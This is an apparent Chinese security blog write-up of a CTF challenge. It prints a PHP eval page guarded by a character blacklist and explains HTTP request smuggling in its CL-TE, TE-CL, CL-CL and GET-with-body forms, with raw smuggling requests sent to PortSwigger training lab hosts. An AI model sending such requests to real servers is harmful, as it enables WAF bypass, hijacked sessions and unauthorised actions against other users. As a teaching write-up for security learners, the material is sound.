最近在复盘之前做过的CTF题时，发现有一道比较有趣。是用的PHP 字符串解析特性Bypass的思路，但这道题远不止于此，还有另一种解法，HTTP请求走私攻击。

先看下源码：

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

用解析特性来做的话，大概思路是这样的：变量前加空格绕WAF，用scandir()和chr()看目录下有啥文件，file_get_contents读取flag文件。用解法二做的话，不需要考虑空格绕waf的问题，后面做法一致：

到这里估计很多人跟我当时一样懵圈了，又返回400又拿到了flag。这里先留个悬念

HTTP请求走私这一攻击方式很特殊，它不像其他的Web攻击方式那样比较直观，它更多的是在复杂网络环境下，不同的服务器对RFC标准实现的方式不同，程度不同。在现阶段广泛使用的HTTP1.1协议，提供了两种不同方式来指定请求的结束位置，它们是Content-Length标头和Transfer-Encoding标头，Content-Length标头简单明了，它以字节为单位指定消息内容体的长度。

Transfer-Encoding标头用于指定消息体使用分块编码（ChunkedEncode），也就是说消息报文由一个或多个数据块组成，每个数据块大小以字节为单位（十六进制表示） 衡量，后跟换行符，然后是块内容，最重要的是：整个消息体以大小为0的块结束，也就是说解析遇到0数据块就结束。

这就导致如果我们使用如反向代理一类的服务器（后面简称为前端服务器）时，前端和后端系统就请求之间的边界没有达成一致的话，就会产生HTTP走私攻击，很容易使得攻击者绕过安全控制，未经授权访问敏感数据，并直接危害其他应用程序用户。

当我们向代理服务器发送一个比较模糊的HTTP请求时，由于两者服务器的实现方式不同，可能代理服务器认为这是一个HTTP请求，然后将其转发给了后端的源站服务器，但源站服务器经过解析处理后，只认为其中的一部分为正常请求，剩下的那一部分，就算是走私的请求，当该部分对正常用户的请求造成了影响之后，就实现了HTTP走私攻击。

该情况主要针对不含请求体的HTTP请求，主要以GET请求为主。假如我们的前端服务器允许GET请求携带请求体，但后端服务器不允许GET请求携带请求体时，会直接忽略掉Content-Length头，进而造成请求走私。

GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length : 51\r\n
\r\n
GET / HTTP/1.1\r\n
Host: example.com\r\n
attack: 1\r\n
hhh:

这个请求对于前端服务器来说，是一个正常的请求，但转发到后端时，因为后端不认Content-Length头，所以这个请求就变成了两个请求，当下一个请求到达时，就会拼接到上一个请求中

GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length : 51\r\n
\r\n
GET / HTTP/1.1\r\n
Host: example.com\r\n
attack: 1\r\n
hhh: GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length : 51\r\n

这会存在什么危害呢？因为HTTP为无状态协议，并且很多网站使用Cookie来对用户状态进行标识，当我们在第二个数据包构造如删除用户、转账、修改密码等敏感操作的时候，起到盗取其他用户cookie的作用。

CL-TE，即当我们发送内含两个请求头的请求包时，前端服务器只处理Content-Length，而后端服务器忽略Content-Length头，只处理Transfer-Encoding请求头。这里用Burpsuite的官方靶场进行演示：

POST / HTTP/1.1
Host: ac911f721f9ee241c01763ef008600f8.web-security-academy.net
Connection: close
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept:
 
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=kSvNgyDye0o1097OwEFsKJD9eu6tpo4k
Content-Length: 6
Transfer-Encoding: chunked

0

A

当我们用Burp两次重放该数据包，会得到返回结果：

解释一下为什么Content-Length的长度是6，因为Burp把\r\n给直接解释成换行了，实际请求体应该是这样：

0\r\n
\r\n
A

后端服务器读到0\r\n\r\n就会以为这个数据包已经读完了，最后的字符A会放到下一个请求解析。

TE-CL，即当我们发送内含两个请求头的请求包时，前端服务器只处理Transfer-Encoding，而后端服务器忽略Transfer-Encoding头，只处理Content-Length请求头：

POST / HTTP/1.1
Host: acae1fe41e622a9bc0c7189700950000.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept:
 
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Cookie: session=VfTG4xpWeu1NboBIfCyqsHiWb8UjNDGZ
Content-length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

前端服务器对于这个请求来说，会处理Transfer-Encoding，读到0\r\n\r\n的时候，认为是读取完毕了，就是把他当作一个完整请求，但后端服务器只认Content-length: 4，这就导致GPOST成为了一个新的请求。

CL-CL即两个Content-length，当两者的值不同的时候，会返回400错误。但如果服务器不严格按照规范，就会发生前端服务器按照第一个Content-length头的值处理，后端服务器按照第二个Content-length头的值进行处理

因为我们的payload里有两个CL头，对应CL-CL的情形，这时候前后端都会各收到一次我们的请求包，因为服务器的不规范，虽然返回400错误，但是请求依旧发给了后端服务器，造成了WAF的绕过问题。

本文作者：合天网安实验室

本文为安全脉搏专栏作者发布，转载请注明：https://www.secpulse.com/archives/168760.html